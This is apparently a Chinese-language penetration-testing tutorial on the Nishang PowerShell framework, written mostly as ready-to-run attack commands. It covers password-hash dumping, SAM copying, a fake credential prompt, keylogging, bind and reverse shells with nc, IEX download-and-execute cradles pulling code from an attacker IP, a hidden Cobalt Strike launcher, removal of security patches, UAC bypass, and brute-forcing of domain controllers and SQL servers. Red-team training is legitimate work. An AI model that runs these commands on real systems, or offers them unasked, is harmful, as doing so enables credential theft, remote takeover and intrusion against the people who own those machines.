前言
Nishang是一个基于PowerShell攻击脚本和有效载荷的框架和集合 支持使用PowerShell进行攻击性安全
渗透测试和红队合作 集成了框架 脚本和各种payload 包括下载 执行 后门 扫描 执行 解密 键盘记录等脚
本被广泛用于渗透测试的各个阶段。
工具链接:https://github.com/samratashok/nishang
Nishang目录介绍
ActiveDirectory:活动目录
Antak-WebShell:在内存中执行PowerShell脚本 运行命令 并使用此Webshell下载和上载文件。
Backdoors:一个后门 可以从第三方网站接收指令 并在内存中执行PowerShell脚本。
Bypass:实施公共已知方法来绕过
Client:客户端
Escalation:当需要权限时提权
Execution:命令执行(RCE)
Gather:信息收集
MITM:用于MITM攻击的本地HTTPS代理
Misc:脚本
Pivot:跳板、远程执行exe
Prasadhak:对照VirusTotal数据库检查正在运行的进程的运行哈希。
Scan:扫描
Shells:shell
Utility:杂项
Powerpreter:Meterpreter会话
一、Nishang初步使用
执行get-host命令查看版本信息 Nishang需要Powershell版本在v3以上才能使用windows10自带的是5.1版本的
以管理员权限打开PowerShell,导入所有的脚本到当前的PowerShell会话中
Import-Module -verbose .\nishang.psm1
在PowerShell导入模块的时候是不允许的,在默认的设置 不允许任何脚本运行(Restricted)
所以我们需要修改权限为remotesigned
输入指令Set-ExecutionPolicy remotesigned。修改策略后就可以成功导入脚本
执行Get-Command -Module nishang
查看导入的模块中的脚本信息
二、利用Nishang进行信息收集
(1)执行Get-Information收集本机的信息(可以获取计算机上的大量信息 例如FTP访问 进程 计算
机配置信息
无线网络和设备的信息、hosts信息等)
(2)执行Get-PassHashes抓取计算机的密码hash值信息
代码中定义的函数Get-PassHashes中定义了多个函数。在函数的最后调用DumpHashes作为入口函数。
Windows系统下的hash密码格式为(用户名称:RID:LM-HASH值:NT-HASH值)
(3)执行Get-PassHints获取用户的密码提示信息
(4)执行Check-VM用于检测当前的机器是否是一台已知的虚拟机
This is a Hyper-V machine.(结果不是一台虚拟机)
This is a VMWare machine.(如果是虚拟机会显示该结果)
5)执行Copy-VSS来复制出SAM文件
执行Copy-VSS会将SAM文件保存在当前路径下(/nishang-master)
执行Copy-VSS -DestinationDir C:\TEMP 指定保存文件的路径(必须是已经存在的路径)
(6)执行Invoke-CredentialsPhish用来欺骗用户输入账号密码信息
."C:\nishang-master\Gather\Invoke-CredentialsPhish.ps1"
Invoke-CredentialsPhish
执行后会弹出这个框欺骗用户去输入账号密码,只有当用户输入正确的账号密码后这个弹框才会消失
然后我们就可以在PowerShell端得到明文的管理员账号密码
(7)执行FireBuster ip -port -Verbose进行端口扫描
(8)执行Keylogger.ps1保存用户的键盘记录,保存后的文本为key.log在
C:\Users\Administrator\AppData\Local\Temp目录下
接着使用Nishang Utility中的Parse_Keys来解析key.log文件,解析后的文件就存放着键盘记录
Parse_Keys .\key.log .\su.txt
三、利用Nishang实现交互式shell
参数介绍
-IPAddress 反向连接时需要连接到的IP地址
-Port 反向连接时是需要连接到的端口,选择-Bind选项时是需要监听的端口
-Reverse 反向连接
-Bind 正向连接用到的端口监听
基于TCP协议的交互式shell
正向连接(目标在外网而你在内网的时候)
(1)在目标机器运行脚本,执行监听端口(攻击机等会要连接该端口)
.\Invoke-PowerShellTcp.ps1
Invoke-PowerShellTcp -Bind -Port 5050
(2)在攻击机上使用nc工具正向连接目标机器
nc -nv 192.168.98.101 5050
-n 直接使用IP地址,而不通过域名服务器
-v 显示指令执行过程
反向连接(目标在内网而你在外网的时候)
(1)在攻击机上执行nc命令,开启本地端口监听通道
Nc -lvp 5050
-l 使用监听模式,管控传入的资料
-v 显示指令执行过程
-p 设置本地主机使用的通信端口
(2)在目标机器上执行Invoke-PowerShellTcp -Reverse -IPAddress 192.168.170.128 -Port 5050 反向连接攻击机
基于UDP协议的交互式shell
正向连接(与基于TCP协议的步骤差不多,攻击机的nc命令改变一下)
目标机器执行Invoke-PowerShellUdp -Bind -Port 5555
攻击机执行nc -nvu 192.168.98.101 5555
反向连接(与基于TCP协议的步骤差不多,攻击机的nc命令改变一下)
目标机器执行Invoke-PowerShellUdp -Reverse -IPAddress 192.168.170.128 -Port 5555
攻击机执行nv -lup 5555
基于HTTP/HTTPS协议的交互式shell
(1)在攻击机上使用脚本Invoke-PoshRatHttp -IPAddress 192.168.98.101 -Port
4444(需要目标机器的ip和端口),然后就会生成一个poc
2)把poc放到目标机器的powershell上,即可造成反弹shell
IEX ((New-Object Net.WebClient).DownloadString('http://192.168.98.101:4444/connect'))
利用Cobalt Strike工具反弹shell
(1)先建立一个监听,然后在Attacks模块点击Scripted Web Delivery(s)选项 将建立的监听放到攻击模块中
之后就会生成一个PowerShell类型的反弹shell脚本
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloa
dstring('http://192.168.170.128:80/a'))"
将poc脚本放到目标机器上执行,就能够反弹shell到Cobalt Strike上 随后就能够进行一些
列的提权 抓取密码截取屏幕等操作
如果获取一定的权限(webshell、远程控制等),可以通过cmd打开powershell或者调
用powershell.exe程序执行脚本代码
获取目标机器的终端权限,执行cmd指令
截取目标机器的图片(Screenshots)
获取目标机器的hash值
四、权限提升
(1)尝试本地权限提升 在获取一定权限的情况下 帮助我们提升到System权限
在目标机器上执行Enable-DuplicateToken
(2)删除
补丁,补丁可以用来修复系统漏洞等一系列漏洞问题 如果删除补丁就可能造成系统漏洞的再次利用
在目标机器上执行Remove Update
Remove-Update All 移除目标机器上的所有补丁
Remove-Update Security 移除目标机器上所有安全补丁
Remove-Update KB2761226 移除指定编号的补丁
(3)绕过UAC(Bypass UAC)
Invoke-PsUACme -Verbose使用Sysprep方法和默认的Payload执行
Invoke-PsUACme -method oobe -Verbose 使用oobe方法跟默认的payload执行
Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourE
ncodedPayload"使用oobe方法跟自制payload执行
Invoke-PsUACme模块使用来自于UACME项目的DLL来Bypass UAC
五、暴力破解
(1)Scan路径下的Invoke-BruteForce脚本可以对SQL Server域控制器 Web以及FTP进行暴力破解
ComputerName 用于指定对应服务的计算机名
UserList 用户名字典
PasswordList 密码字典
Service 服务类型(注意默认为:SQL)
StopOnSuccess 成功找到一个之后就停止执行
Invoke-BruteForce -ComputerName targetdomain.com -UserList C:testusers.txt -PasswordList C
:testwordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose 爆破域控制器
Invoke-BruteForce -ComputerName SQLServ01 -UserList C:testusers.txt -PasswordList C:test
wordlist.txt -Service SQL -Verbose 爆破SQL Server
cat C:testservers.txt | Invoke-BruteForce -UserList C:testusers.txt -PasswordList C:testw
ordlist.txt -Service SQL -Verbose 爆破server.txt中所有servers的SQL Server
爆破SQlServer示例
Invoke-BruteForce -ComputerName SQLServ01 -UserList C:wordlist1.txt -Pass
wordList C:wordlist2.txt -Service SQL -Verbose
(2)Invoke-PortScan对目标机器环境中的其他主机和端口进行枚举破解
StartAddress 扫描范围开始的地址
EndAddress 扫描范围结束的地址
ScanPort 进行端口扫描
Port 指定扫描的端口号
对目标范围192.168.98.1-196.168.98.254的机器进行枚举,看是否存在开启80端口的机器
Invoke-PortScan -StartAddress 192.168.98.1 -EndAddress 192.168.
98.254 -ResolveHost -ScanPort -Port 80
总结
当获取到一定权限的时候,Nishang基于PowerShell来操作指令,往往没有cmd限制的多利用Nishang
工具来进行横向渗透或者是提权等操作都是一个很好的选择。